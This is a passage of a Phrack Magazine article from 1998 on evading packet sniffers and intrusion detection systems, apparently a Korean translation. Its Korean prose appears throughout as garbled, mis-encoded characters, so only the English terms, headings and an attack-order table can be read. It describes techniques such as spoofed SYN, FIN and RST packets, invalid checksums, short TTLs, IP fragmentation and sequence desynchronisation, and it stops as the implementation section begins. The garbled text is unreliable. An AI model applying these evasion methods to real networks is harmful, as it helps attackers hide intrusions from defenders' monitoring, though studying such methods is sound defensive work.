---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12 -------------------------[ Defeating Sniffers and Intrusion Detection Systems --------[ horizon --------[ ¹ø¿ª : Á¤Ã¶Çö ----[ Overview ÀÌ ¹®¼­ÀÇ ¸ñÀûÀº sniffer¿Í intrusion detection system¸¦ °ø°ÝÇϴµ¥ »ç¿ëµÇ´Â »ç¿ëµÇ´Â ±â¼úµéÀ» Áõ¸íÇϴµ¥ ÀÖ´Ù. ÀÌ ¹®¼­´Â ¿Ïº®ÇÏÁö ¾ÊÀº intrusion detect systemÀ» °¡Áö°í ÀÖ´Â ¿©·¯ºÐÀº º¸ÅëÀÇ "hacker" sniffer¿¡ ÁÖ·Î ÃÊÁ¡À» µÎ°í ÀÖ´Ù.±×·¯³ª, ÀÌ ¹®¼­¿¡ ³ª¿À´Â ¹æ¹ýÀ̳ª ÄÚµå µéÀº ¿©·¯ºÐÀÇ packetÀ» ID systemÀ» Åë°ú½ÃÅ°´Â ÁÁÀº ½Ã¹ßÁ¡ÀÌ µÉ °ÍÀÌ´Ù. IDS¿¡ ´ëÇÑ °ø°Ý¹æ¹ýÀ» Á»´õ ±¸Ã¼ÀûÀ¸·Î ¾Ë°í ½Í´Ù¸é ´ÙÀ½ »çÀÌÆ®¸¦ ÂüÁ¶Ç϶ó. http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp ÀÌ ¹®¼­¿¡¼­ ±¸ÇöÇÑ °Íµé ÀÌ¿Ü¿¡µµ ¼ö¸¹Àº ¹æ¹ýµéÀÌ ÀÖ´Ù. ³ª´Â Á»´õ ÁÖ¸ñµÇ°í º¹ÀâÇÑ °ø °ÝÀ¸·Î È®ÀåµÉ °ÍÀ» ±â´ëÇÏ¸ç ¸î¸îÀÇ ÀϹÝÀûÀÎ ¹æ¹ýµéÀ» °ñ¶ú¾ú´Ù. À̰͵éÀ»±¸ÇöÇÑ µÚ¿¡ NAI¹®¼­¸¦ °ËÅäÇÏ¿© Àû´çÇÑ °ø°Ý¹æ¹ýµé°ú °ü·ÃÁö¾î º¸¾Ò´Ù. ÀÌ ¹®¼­¿¡¼­ ¾ð±ÞµÇ¾îÁø °áÁ¡µéÀÇ ±Ùº»¿øÀÎÀº ´ëºÎºÐÀÇ sniffer¿Í intrusion detect system ÀÌ ½ÇÁ¦ÀÇ ³×Æ®¿÷»óÀÇ Åë½ÅÀ» ÇÏ´Â machineµé¸¸Å­ °­ÇÑ TCP/IPÀÇ ±¸ÇöÀ» °¡Áö°í ÀÖÁö ¾Ê ´Ù´Â °ÍÀÌ´Ù. ¸¹Àº sniffer¿Í IDS´Â BPF, DLPI³ª SOCK_PACKETµî°ú °°Àºdatalink°èÃþÀÇ accessÀÇ ÇüŸ¦ »ç¿ëÇÑ´Ù. Sniffer´Â datalink°èÃþÀÇ ¸ðµç frameÀ»¹ÞÀ¸¸é¼­ ±× frameÀÌ ¾î ¶»°Ô Çؼ®µÉÁö¿¡ ´ëÇÑ ¾î¶°ÇÑ ´Ü¼­µµ ¹ÞÁö ¾Ê´Â´Ù. Sniffer´Â ¸ðµç packetÀ» Çؼ®ÇÏ°í ¼ö½Å Ãø machineÀÇ kernelÀÌ ±×°ÍÀ» ½ÇÇàÇÒ °ÍÀÎÁö¸¦ ÃßÃøÇÏ´Â ¿ªÇÒÀ» ÇÑ´Ù. ¿îÀÌ ÁÁ°Ôµµ 95%Á¤ µµ´Â packetÀÌ Á¦´ë·Î µÇ°í Ä¿³ÎÀÇ TCP/IP stackÀº ¿¹»ó´ë·Î ÇൿÇÑ´Ù. ¿ì¸®°¡ ÁÖ¸ñÇØ¾ß ÇÒ °ÍÀº ±× ³ª¸ÓÁö 5%ÀÇ °æ¿ìÀÌ´Ù. ÀÌ ¹®¼­´Â 3°³ÀÇ ºÎºÐÀ¸·Î ³ª´¶´Ù: äÅÃµÈ ±â¼úÀÇ °³°ý, ±¸Çö°ú »ç¿ëÀÇ ¼³¸í ±×¸®°í ÄÚµåÀÌ ´Ù. °¡´ÉÇϸé ÄÚµå´Â ¾î´ÀÁ¤µµ portableÇÑ ÇüÅ·Π±¸ÇöµÇ¾ú´Ù: ´ç½ÅÀÇ º¸ÅëÀÇ client program ¿¡ "install"ÇÒ ¼ö ÀÖ´Â connect()ºÎºÐ¿¡ Ä¡¿ìÄ£ shared library. ÀÌ shared library´Â ´ëºÎºÐ ÀÇ Unix¿¡¼­ »ç¿ëµÇ´Â raw socketÀ» TCP packetÀ¸·Î ¸¸µå´Â ÀÛ¾÷¿¡ »ç¿ëÇÑ´Ù. ±×·¯³ª, ¾ð ±ÞµÈ ¸î¸îÀÇ °ø°ÝµéÀº raw socketÀ¸·Î ±¸ÇöÇϱ⿡ ³Ê¹« º¹ÀâÇϱ⶧¹®¿¡ ´Ü¼øÇÑ OpenBSD kernel patch°¡ Á¦°øµÇ¾ú´Ù. ³ª´Â ¿Ï¼ºµÇ¾îÁö¸é rhino9ÀÇ web site¿¡ ¿Ã·ÁÁú ¸®´ª½º¸¦ À§ÇÑ kernel patch º¸ÃæÀÛ¾÷À» ÇÏ°í ÀÖ´Ù. rhine9 web site´Â http://www.rhino9.ml.org/ ÀÌ´Ù. ----[ Section 1. The Tricks ù¹ø° trickÀº ´ÜÁö sniffer¸¦ ¼ÓÀ̱âÀ§ÇØ °í¾ÈµÇ¾ú°í, ID system¿¡´Â ¾î¶°ÇÑ ¿µÇâµµ ¹ÌÄ¡ Áö ¾ÊÀ» °ÍÀÌ´Ù. µÎ¹ø° trickÀº intrusion detection system¿¡ ¿µÇâÀ» ¹ÌÄ¡±â¿¡ ÃæºÐÈ÷ ¹ßÀü µÇ¾úÀ» °ÍÀÌ´Ù. Sniffer Specific Ataacks ------------------------ 1. Sniffer Design - One Host Design ù¹ø° ±â¼úÀº ±²ÀåÈ÷ ´Ü¼øÇÏÁö¸¸, ¸¹Àº sniffer¼³°èÀÇ ÀÌÁ¡À» °¡Áö°í ÀÖ´Ù. ¸î¸îÀÇ hacker sniffer´Â ÇϳªÀÇ connection¸¸À» Çã¿ëÇÏ°í ±× connectionÀÌ ²÷±â°Å³ª internal time out¿¡ ÀÌ ¸£±â Àü±îÁö´Â ´Ù¸¥ connectionÀº ¹«½ÃÇØ ¹ö¸®´Â ¹æ½Ä¿¡ µû¶ó ¼³°èµÇ¾ú´Ù. ÀÌ·¯ÇÑ ¹æ½ÄÀ¸·Î ¼³°èµÈ sniffer´Â memory»ç¿ë°ú CPU time°ú´Â °Å¸®°¡ ¸Ö°Ô low profileÀ» °®´Â´Ù. ±×·¯³ª, ±×µéÀº ºÐ¸íÈ÷ ¾òÀ»¼ö ÀÖ´Â »ó´ç·®ÀÇ data¸¦ ÀҴ´Ù. ÀÌ°ÍÀº ¿ì¸®ÀÇ packetÀÌ ÀâÈ÷´Â°ÍÀ» ¹æÁöÇÏ´Â ½¬¿î ¹æ¹ýÀ» ÁØ´Ù: Á¢¼ÓÀü¿¡ ¿ì¸®°¡ Á¢¼ÓÇÏ·Á´Â port¿Í °°Àº port·Î Á¸ÀçÇÏÁö ¾Ê´Â host·ÎºÎÅÍÀÇ spoofµÈ SYN packetÀ» º¸³½´Ù. µû¶ó¼­ sniffer´Â SYN packetÀ» º¸°í ±×°ÍÀÌ listening»óÅÂÀ̸é internal state¸¦ ±×¿Í °ü·ÃµÈ ¸ðµç packetÀ» monitorÇÏ´Â °ÍÀ¸·Î ¸¸µç´Ù. ±×¸®°í Á¢¼ÓÀÌ ÀÌ·ç¾îÁö¸é, sniffer´Â fake host¸¦ º¸°íÀÖ´Â °ÍÀ̱⠶§¹®¿¡ ¿ì¸®ÀÇ SYNÀ» ¹«½ÃÇÏ°Ô µÈ´Ù. host°¡ time outµÇ¸é, ÃʱâÀÇ SYN packetÀÌ º¸³»ÁøÁö ³Ê¹« ¿À·¡ µÇ¾ú±â ‹š ¹®¿¡ ¿ì¸®ÀÇ Á¢¼ÓÀº logµÇÁö ¾Ê´Â´Ù. 2. Sniffer Design - IP options ´ÙÀ½ÀÇ ±â¼úÀº ¾Ë·ÁÁöÁö ¾ÊÀº snifferÀÇ coding practice¿¡ ÀÇÁ¸ÇÑ´Ù. ¸¸¾à ´ç½ÅÀÌ Àϸí based-off of the original linsniffer¶ó´Â hacker snifferÀÇ code¸¦ º¸°ÔµÈ´Ù¸é ´ÙÀ½°ú °°Àº structure¸¦ º¸°Ô µÉ °ÍÀÌ´Ù. struct etherpacket { etherheader eh; ipheader ip; tcpheader tcp; char data[8192]; }; Sniffer´Â datalink interfaceÀÇ packetÀ» ÀÐÀ» °ÍÀÌ°í, ±×°ÍÀ» ±× structre¿¡ Áý¾î³Ö¾î ºÐ¼® Çϱ⿡ ½±°Ô ÇÒ °ÍÀÌ´Ù. ÀÌ°ÍÀº °ÅÀÇ ¸ðµç °æ¿ì¿¡ ±¦ÂúÀ» °ÍÀÌ´Ù. ±×·¯³ª, ÀÌ·¯ÇÑ Á¢±ÙÀº ¸¹ Àº °¡Á¤À» ¸¸µç´Ù.: IP header°¡ 20byteÀÌ°í TCP header°¡ 20byte¶ó°í °¡Á¤ÇÑ´Ù. ¸¸¾à ´ç½Å ÀÌ optionÀÇ 40byte¸¦ °¡Áø IP packetÀ» º¸³½´Ù¸é, sniffer´Â ´ç½ÅÀÇ TCP header¿¡ ´ëÇÑ IP optionÀ» º¼ °ÍÀÌ°í ´ç½ÅÀÇ packetÀ» ¿ÏÀüÈ÷ À߸ø Çؼ®ÇÒ °ÍÀÌ´Ù. ¸¸¾à sniffer°¡ ´ç½ÅÀÇ TCP header¸¦ À߸ø ´Ù·ç°í IP header¸¦ Àß ´Ù·ç¾ú´Ù¸é ±×°ÍÀº ´ç½Å¿¡°Ô ±×·¸°Ô Å« ÇÇÇظ¦ ÁÖÁö´Â ¾Ê´Â´Ù. ±×·²°æ¿ì, ´ç½ÅÀº sniffer°¡ logÇÏ°ÔµÉ dataÀÇ ³ª¸ÓÁö 40byte¸¦ ¾ò°Ô µÈ´Ù. ³ª ´Â sysctl·Î ó¸®Çϱ⠽¬¿î OpenBSD kernelÀÇ Çʼö IP optionµéÀ» ±¸Çö ÇÏ¿´´Ù. 3. Insertion - FIN and RST spoofing - Invalid Sequence Numbers ÀÌ ±â¼úÀº, ´ç½ÅÀÇ ´ëÇ¥ÀûÀÎ sniffer°¡ ÇöÀç ÁøÇàÁßÀÎ connectionÀÇ Æ¯Á¤ ¼¼ºÎ³»¿ëÀÇ °æ·Î¸¦ ÁöÅ°Áö ¾ÊÀ»°ÍÀ̶ó´Â »ç½ÇÀ» ÀÌ¿ëÇÑ´Ù. TCP connection¿¡¼­, sequence number´Â ¾ó¸¶³ª ¸¹ Àº data°¡ º¸³»Á³´ÂÁö¿Í º¸³»Áø data°¡ ¿Ã¹Ù·Î ¼ø¼­¸¦ ÁöÄ×´ÂÁö °áÁ¤ÇÏ´Â control mechanismÀ¸·Î »ç¿ëµÈ´Ù. ´ëºÎºÐÀÇ sniffer´Â ÁøÇàÁßÀÎ TCP connection¿¡¼­ sequence numberÀÇ ¼ø¼­¸¦ ÁöÅ°Áö ¾Ê´Â´Ù. ÀÌ°ÍÀº Ä¿³ÎÀº ¹«½ÃÇØ ¹ö¸®Áö¸¸ sniffer´Â À¯È¿ÇÏ°Ô Çؼ® ÇÒ packetÀ» data stream¿¡ ³ÖÀ» ¼ö ÀÖ°Ô ÇÑ´Ù. ÀÌ°Í¿¡ ±Ù°ÅÇؼ­ ¿ì¸®°¡ óÀ½ »ç¿ëÇÏ°Ô µÉ ±â¼úÀº spoofµÈ FIN °ú RST packetÀÌ´Ù. FIN °ú RST´Â TCP packet¾ÈÀÇ control flag·Î FINÀº connectionÀÇ ÇÑÂÊ ºÎºÐÀ» À§ÇÑ shutdown sequenceÀÇ ÃʱâÈ­¸¦ °¡¸£Å°°í, RST´Â connectionÀÌ ¹Ù·Î ³¡³ª¾ß ÇÔÀ» °¡¸£Å²´Ù. ¸¸¾à ¿ì¸®°¡ Ä¿³ÎÀÌ ¿¹»óÇÏ´Â sequence number ¿Í µ¿¶³¾îÁø sequence number¿Í FIN ¶Ç´Â RST¸¦ °¡Áø packetÀ» º¸³½´Ù¸é kernelÀº ÀÌ°Í À» ¹«½ÃÇØ ¹ö¸±°ÍÀÌ´Ù. ±×·¯³ª, sniffer´Â Á¤´çÇÑ connection Á¾·á ¿ä±¸³ª connection Àç¼³Á¤ À¸·Î °£ÁÖÇÏ°í log¸¦ ±×¸¸µÑ °ÍÀÌ´Ù. TCP stackÀÌ RST¸¦ ¹Þ´Â °úÁ¤¿¡¼­ sequence number¸¦ Á¤È®È÷ È®ÀÎÇÏÁö ¾Ê´Â´Ù´Â »ç½Ç Àº Èï¹Ì·Ó´Ù. ÀÌ°ÍÀº ¸í¹éÇÏ°Ô denial of service attacke¿¡°Ô Ä¿´Ù¶õ °¡´É¼ºÀ» Á¦°øÇÑ´Ù. Ư È÷, ³ª´Â Digital Unix 4.0d°¡ RST packetÀÇ sequence number¸¦ È®ÀÎÇÏÁö ¾Ê°í connection À» ¸¶Ä¥°ÍÀ̶ó´Â »ç½ÇÀ» ¾Ë¾Ò´Ù. 4. Insertion - Data Spoofing - Invalid Sequence Numbers ÀÌ ±â¼úÀº ´ëÇ¥ÀûÀÎ sniffer°¡ TCP connectionÀÇ sequence number¸¦ µû¸£Áö ¾Ê´Â´Ù´Â »ç ½ÇÀ» ÀÌ¿ëÇÑ À§ÀÇ ±â¼úµéÀÇ ¶Ç´Ù¸¥ ÀÌÇüÀÌ´Ù. ¸¹Àº snifferµéÀº ¾ó¸¶¸¸Å­ÀÇ data¸¦ captureÇÑ µÚ¿¡ connetionÀÇ log¸¦ Áß´ÜÇÒ data capture length¸¦ °¡Áö°í ÀÖ´Ù. ¸¸¾à ¿ì¸®°¡ connection ÃʱâÈ­ ÈÄ¿¡ ¸¹Àº ¾çÀÇ data¸¦ Ʋ¸° sequence number·Î º¸³½´Ù¸é ÀÌ packetµéÀº kernel¿¡ ÀÇÇØ ¹ö·ÁÁú °ÍÀÌ´Ù. ±×·¯³ª, sniffer´Â ÀáÀçÀûÀ¸·Î ¸ðµç data¸¦ À¯È¿ÇÑ Á¤º¸·Î log ÇÒ °ÍÀÌ ´Ù. ÀÌ°ÍÀÌ NAI¹®¼­¿¡ ¾ð±ÞµÈ "tcp-7" attackÀÇ ´ëÃæÀÇ ±¸ÇöÀÌ´Ù. IDS/Sniffer Attack; ------------------ ÀÌ»óÀÇ ±â¼úµéÀº ´ëºÎºÐÀÇ sniffer¿¡¼­ ³î¶ø°Ôµµ Àß ÀÛµ¿ÇÏÁö¸¸, ´ëºÎºÐÀÇ IDS¿¡¼­´Â ¸¹Àº ¿µÇâÀ» ¹ÌÄ¡Áö ¾Ê´Â´Ù. ´ÙÀ½ÀÇ 6°¡Áö ±â¼úµéÀº Á»´õ º¹ÀâÇÏÁö¸¸, ´õ º¹ÀâÇÑ network¸¦ °¨½Ã Çϴµ¥ ÁÁÀº ½Ã¹ßÁ¡ÀÌ µÈ´Ù. 5. Evasion - IP Fragmentation IP Fragmentation(ºÐ¿­)Àº packetÀ» ¹°¸®ÀûÀÎ network interfaceÀÇ maximun transmission unit(MTU:ÃÖ´ë Àü¼Û ´ÜÀ§)¿¡ ¸Â°Ô ´ÙÁß datagramÀ¸·Î ³ª´©°Ô ÇØÁØ´Ù. ´ëÇ¥ÀûÀ¸·Î, TCP´Â mtu¸¦ ¾Ë°í, IP °èÃþ¿¡¼­ ºÐ¿­ÀÌ ÇÊ¿äÇÑ packetÀº º¸³»Áö ¾Ê´Â´Ù. ¿ì¸®´Â ÀÌ°ÍÀ» sniffer¿Í IDS¸¦ È¥¶õ½ÃÅ°´Âµ¥ ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. Fragmentation°ú °ü·ÃµÈ ¸î°¡Áö °¡´ÉÇÑ °ø°ÝµéÀÌ ÀÖ Áö¸¸, ¿ì¸®´Â ´Ü¼øÇѰ͸¸ ´Ù·ç±â·Î ÇÏ°Ú´Ù. ¿ì¸®´Â TCP packetÀ» packetÀÇ Ã¹ 8byte¿¡´Â TCP header¸¦ 32byte¿¡´Â ³ª¸¶Áö data¸¦ ´ãÀº packet ¿©·¯°³·Î ³ª´©¾î º¸³¾¼ö ÀÖ´Ù. ÀÌ°Í Àº network analysis toolÀ» ¼ÓÀÌ´Â ¿ì¸®µéÀÇ ´É·Â¿¡ µµ¿òÀ» ÁØ´Ù. ù°·Î, sniffer¿Í IDS´Â ºÐ¿­°ú ÀçÁ¶ÇÕ¿¡ Àû´çÇØ¾ß ÇÑ´Ù. µÑ°·Î, ºÐ¿­µÈ TCP header¸¦ ´Ù·ç´Âµ¥µµ ÀûÇÕÇØ¾ß ÇÑ´Ù. ÀÌ ´Ü¼øÇÑ ±â¼úÀÌ ¿©·¯ºÐÀÇ packetÀ» ´ëºÎºÐÀÇ datalink °èÃþÀÇ network monitor¸¦ Åë°ú½Ã Å°±â¿¡ ÃæºÐÇÏ´Ù´Â °ÍÀÌ ¾Ë·ÁÁ®ÀÖ´Ù. ÀÌ°ÍÀº ³»°¡ Open BSD kernelÀÇ sysctl·Î ±¸ÇöÇÏ·Á°í ¼±ÅÃÇÑ ¶Ç´Ù¸¥°ø°ÝÀÌ´Ù. ÀÌ ±â¼úÀº ´ëºÎºÐÀÇ sniffer¸¦ ¿Ïº®È÷ Åë°úÇÏ´Â ´É·Â¿¡¼­ ¾ÆÁÖ °­·ÂÇÏ´Ù. ±×·¯³ª, ±×°ÍÀº ´ç ½ÅÀÇ packetÀÌ ´ç½Å°ú target»çÀÌÀÇ ¸ðµç filter¸¦ Åë°úÇÏ´ÂÁö È®ÀÎÇϱâ À§Çؼ­ ¾à°£ÀÇ ½ÇÇè ÀÌ ÇÊ¿äÇÏ´Ù. ÀÌ·¯ÇÑ packet filterµéÀº UDP/TCP header°¡ °íÃÄÁø°Í °°°Å³ª, Áö³ªÄ¡°Ô ÀÛÀº °Í °°À¸¸é ÀÌ ºÐ¿­µÈ packetÀ» ¹«½ÃÇØ ¹ö¸°´Ù. ÀÌ ¹®¼­ÀÇ ±¸ÇöÀº ¿©·¯ºÐÀÇ machineÀÌ º¸³¾ ºÐ¿­ÀÇ Å©±â·ÎÀÇ Àû´çÇÑ Á¦¾î¸¦ Á¦°øÇÑ´Ù. ÀÌ°ÍÀº NAI¹®¼­¿¡ ¹¦»çµÇ¾îÀÖ´Â "frag-1"°ú "frag-2" °ø°ÝÀÇ ±¸ÇöÀ» Á¦°øÇÒ °ÍÀÌ´Ù. 6. Desynchronization - Post Connection SYN ¸¸¾à ¿ì¸®°¡ Áö´ÉÀûÀÎ sniffer³ª ID systemÀ» ¼ÓÀÌ·Á°í ½ÃµµÇÑ´Ù¸é TCP sequence number ¸¦ ÁöÄÑ¾ß ÇÑ´Ù´Â °ÍÀº ´ç¿¬ÇÑ »ç½ÇÀÏ °ÍÀÌ´Ù. ÀÌ ±â¼úÀ» À§ÇØ, kernelÀÌ ½Å·ÚÇÏ°í ÀÖ´Â actual sequence number·ÎºÎÅÍ sniffer¿Í IDS¸¦ ºñµ¿±âÈ­ ½ÃÅ°µµ·Ï ½ÃµµÇØ¾ß ÇÑ´Ù. ¹þ¾î³­ sequence number¸¦ °®Áö¸¸ target host¿¡¼­ ¹Þ¾Æµé¿©Áö´Â ÇÊ¿äÇÑ ±â¼úÀ» °¡Áö°í ÀÖ´Â post connection SYN packetÀ» ¿ì¸®ÀÇ data stream ¼Ó¿¡ ³Ö¾î º¸³¿À¸·Î ÀÌ °ø°ÝÀ» ±¸ÇöÇÒ °ÍÀÌ ´Ù. ±×·¯³ª, target host´Â ÀÌ¹Ì ½ÂÀÎµÈ connectionÀ» Âü°íÇϱ⠶§¹®¿¡ ÀÌ SYN packetÀ» ¹« ½ÃÇÒ °ÍÀÌ´Ù. ÀÌ °ø°ÝÀÇ ¸ñÀûÀº sniffer¿Í IDS¸¦ ±×°ÍÀÇ sequence number¸¦ »õ·Î¿î SYN packetÀ¸·Î ´Ù½Ã µ¿±âÈ­ ½ÃÅ°´Â °ÍÀÌ´Ù.±×·¸°Ô µÇ¸é ±×°ÍÀº ´Ù¸¥ sequence number¸¦ ±â´Ù ¸®±â¶§¹®¿¡ ¿ø·¡ streamÀÇ Á¤´çÇÑ ºÎºÐÀÇ ¾î¶°ÇÑ dataµµ ¹«½ÃÇÏ°Ô µÈ´Ù. ¸¸¾à SYN packet À¸·Î IDS¸¦ À絿±âÈ­Çϴµ¥ ¼º°øÇÑ´Ù¸é »õ·Î¿î sequence number¸¦ °¡Áø RST packetÀ» º¸ ³»°í ±× connectionÀ» ³¡³¾¼ö ÀÖ´Ù. ÀÌ°ÍÀº NAI ¹®¼­¿¡ ¾ð±ÞµÈ "tcbc-2" °ø°Ý°ú °ü·ÃÀÖ´Ù. 7. Desyncronization - Pre Connection SYN ÀÌ ÁÖÁ¦¸¦ °¡Áö°í ¿ì¸®°¡ ½ÇÇàÇÒ ¶Ç´Ù¸¥ °ø°ÝÀº ÁøÂ¥connection ÀÌÀü¿¡ ºñÁ¤»óÀÇ TCP checksumÀ» °¡Áø ÃʱâÈ­ SYNÀ» º¸³»´Â °ÍÀÌ´Ù. ¸¸¾à sniffer°¡ connection¿¡¼­ SYNÀÇ subsequence¸¦ ¹«½ÃÇÒ Á¤µµ·Î ¿µ¸®ÇÏÁö¸¸ TCP checksumÀ» È®ÀÎÇÒ ¸¸Å­ ¿µ¸®ÇÏÁö ¾Ê´Ù¸é, ÀÌ °ø°ÝÀº ÁøÂ¥ connectionÀÌ ÀϾ±â Àü¿¡ °¡Â¥ sequence number·Î sniffer¿Í IDS¸¦ µ¿±â È­ ½Ãų °ÍÀÌ´Ù. ÀÌ °ø°ÝÀº Á¢¼Ó¿ä±¸ ÀÌÀü¿¡ Ä¿³Î¿¡°Ô socket¿¡ local port¸¦ ¹è´çÇÏ°Ô ÇÑ´Ù. 8. Insertion - FIN and RST spoofing - TCP checksum validation ÀÌ ±â¼úÀº À§¿¡¼­ ¾ð±ÞÇß´ø FIN/RST spoofing±â¼úÀÇ ÀÏÁ¾ÀÌ´Ù. ±×·¯³ª, À̹ø¿¡´Â ÇÑ°¡Áö ÁÖ¸ñÇÒ ¸¸ÇÑ ¿¹¿Ü¸¦ °¡Áö°í FIN°ú RST packetÀ» º¸³»¼­ Á¤´çÇÏ°Ô connectionÀ» Á¾·á½Ã±æ °ÍÀÌ´Ù: TCP checksumÀÌ À¯È¿ÇÏÁö ¾Ê´Ù. ÀÌ·¯ÇÑ packetµéÀº kernel¿¡ ÀÇÇؼ­ ¹ö·ÁÁöÁö¸¸ IDS³ª sniffer¿¡°Ô´Â ÀÎÁ¤µÈ´Ù. ÀÌ °ø°ÝÀº packet¿¡ »ç¿ëÇÒ ¿Ã¹Ù¸¥ sequence numberÀ» °áÁ¤ Çϱâ À§ÇØ kernelÀÇ Áö¿øÀÌ ÇÊ¿äÇÏ´Ù. ÀÌ°ÍÀº NAI¹®¼­ÀÇ "insert-2"°ø°Ý°ú ºñ½ÁÇÏ´Ù. 9. Insertion - Invalid Data - TCP checksum validation ÀÌ ±â¼úÀº ¿Ã¹Ù¸¥ sequence number¸¦ °¡ÁöÁö¸¸ Ʋ¸° TCP checksumÀ» °¡Áø data¸¦ »ðÀÔ ½ÃÅ°´Â °ÍÀ¸·Î À§ÀÇ data insertion °ø°ÝÀÇ ÀÏÁ¾ÀÌ´Ù. ÀÌ°ÍÀº °ü¿©ÇÏ´Â kernelÀº ½Å¿ëÇÏÁö ¾Ê ´Â ¸¹Àº ¾çÀÇ data¸¦ ÁÜÀ¸·Î½á sniffer¿Í IDS¸¦ È¥¶õ½ÃÅ°°í ºñµ¿±âÈ­ ½Ãų °ÍÀÌ´Ù. ÀÌ °ø°Ý Àº º¸³»Áö´Â packetÀÇ ¿Ã¹Ù¸¥ sequence number¸¦ ¾ò±âÀ§ÇØ kernelÀÇ Áö¿øÀÌ ÇÊ¿äÇÏ´Ù. ÀÌ °ø°Ý ¿ª½Ã NAI¹®¼­¿¡ ÀÖ´Â "insert-2" °ø°Ý°ú À¯»çÇÏ´Ù. 10. Insertion - FIN and RST Spoofing - Short TTL ¸¸¾à IDS³ª sniffer°¡ monitorÇÏ°í ÀÖ´Â host·Î ºÎÅÍ ÇÑ hopÀÌ»ó ¶³¾îÁø network¿¡ Á¸ÀçÇÑ ´Ù¸é, IP packetÀÇ TTL field¸¦ ÀÌ¿ëÇÏ¿© ´Ü¼øÇÑ °ø°ÝÀ» ÇÒ ¼ö ÀÖ´Ù. ÀÌ °ø°ÝÀ» À§ÇØ, ¸ñÀû Áö host¿¡ ´êÀ» ¼ö ÀÖ´Â ÃÖÀú TTLÀ» Á¤ÇÏ°í ±×°ÍÀ» ÃßÃâÇÑ´Ù. ÀÌ°ÍÀº ¸ñÀûÁö host¿¡ µµÂø ÇÏÁö ¾ÊÁö¸¸ IDS³ª sniffer¿¡ µµÂøÇÒ ¼ö ÀÖ´Â packetÀ» º¸³¾¼ö ÀÖ°Ô ÇÑ´Ù. ÀÌ °ø°Ý¿¡¼­, ¸î °³ÀÇ FIN°ú RST packetÀ» º¸³½´Ù. 11. Insertion - Data Spoofing - Short TTL ¸¶Áö¸· °ø°ÝÀ¸·Î, ¿Ã¹Ù¸¥ sequence number¿Í TCP checksumÀ» °¡Áø 8kÀÇ data¸¦ º¸³½´Ù. ±×·¯³ª, ¸ñÀûÁö È£½ºÆ®¿¡ µµÂøÇϱ⿡´Â TTLÀÌ ÇÑhopÀÌ»ó ÀÛ´Ù. Summary ------- ÀÌ·± ¸ðµç °ø°ÝµéÀº sniffer¿Í IDS¸¦ È¥¶õ½ÃÅ°´Â ÀÏÀ» ÇÑ´Ù. ¿©±â¿¡ ¿ì¸®°¡ ±×°ÍµéÀº ½ÇÇà ÇÏ¿© °ø°ÝÇÑ ¼ø¼­°¡ ÀÖ´Ù: Attack 1 - One Host Sniffer Design. FAKEHOST -> TARGET SYN Attack 7 - Pre-connect Desynchronization Attempt. REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number) Kernel Activity REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel) Attack 6 - Post-connect Desynchronization Attempt. REALHOST -> TARGET SYN (Arbitrary Seq Number X) REALHOST -> TARGET SYN (Seq Number X+1) Attack 4 - Data Spoofing - Invalid Sequence Numbers REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2) Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers REALHOST -> TARGET FIN (Seq Number X+2+8192) REALHOST -> TARGET FIN (Seq Number X+3+8192) REALHOST -> TARGET RST (Seq Number X+4+8192) REALHOST -> TARGET RST (Seq Number X+5+8192) Attack 11 - Data Spoofing - TTL * REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y) Attack 10 - FIN/RST Spoofing - TTL * REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192) * REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192) * REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192) * REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192) Attack 9 - Data Spoofing - Checksum * REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z) Attack 8 - FIN/RST Spoofing - Checksum * REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192) * REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192) * REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192) * REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192) *Ç¥½ÃÇÑ °ø°ÝÀº ¿Ã¹Ù¸¥ sequence number¸¦ °áÁ¤ÇÏ´Â kernelÀÇ Áö¿øÀÌ ÇÊ¿äÇÏ´Ù. µ¡ºÙ¿©, ÀÌ°ÍÀº kernelÀÇ Áö¿ø¾øÀ̵µ datalink °èÃþÀÇ sniffer¸¦ Á¶ÀÛÇÏ¿© °¡´ÉÇÏÁö¸¸, ºÐ¿­ÀÇ ÀçÁ¶ÇÕ °ú ÁøÂ¥ connectionÀ» µû¸£±â À§ÇØ ¸î°³ÀÇ È®ÀÎÀÌ ÇÊ¿äÇϱ⠶§¹®¿¡ code°¡ È®¿¬È÷ ´õ º¹Àâ ÇØ Áø´Ù. »ç¿ëÀÚ´Â ÀÚ½ÅÀÇ ½ÇÇ༺Çâ¿¡ µû¶ó ¼±ÅÃÇÒ ¼ö ÀÖÀ¸¸ç sequence number´Â °æ¿ì¿¡ µû¶ó Á¶ÀýµÉ ¼ö ÀÖ´Ù. ----[ Section 2 - Implementation and Usage ÀÌ ±â¼úµéÀ» ±¸ÇöÇÒ¶§ ³ªÀÇ Ã¹¹ø° goalÀº º¸ÅëÀÇ system¿¡¼­ °¡´ÉÇϸé ÀûÀº º¯È­¸¦ ÁÖ´Â °ÍÀ̾ú´Ù. ³ª´Â ±â¼úµéÀ» µÎ°¡Áö ºÎ·ù·Î ±¸ºÐÇØ¾ß Çß´Ù: »ç¿ëÀÚ »óȲ¿¡¼­ ½ÇÇàÇÒ ¼ö ÀÖ´Â °ø °Ý°ú ¾î´ÀÁ¤µµ kernel¿¡ ÀÇÇÑ °ø°Ý. ³ªÀÇ µÎ¹ø° goalÀº OpenBSD¿Í Linux¿Ü¿¡ ´Ù¸¥ Unix ȯ°æ¿¡¼­ ¸Â°Ô portableÇÏ°Ô userland¸¦ ¸¸µå´Â °ÍÀ̾ú´Ù. Userland °ø°ÝÀº halflifeÀÇ P51-08¹®¼­ÀÇ °¡Àå À¯¿ëÇÑ ±â¼úÀÎ °øÀ¯ library 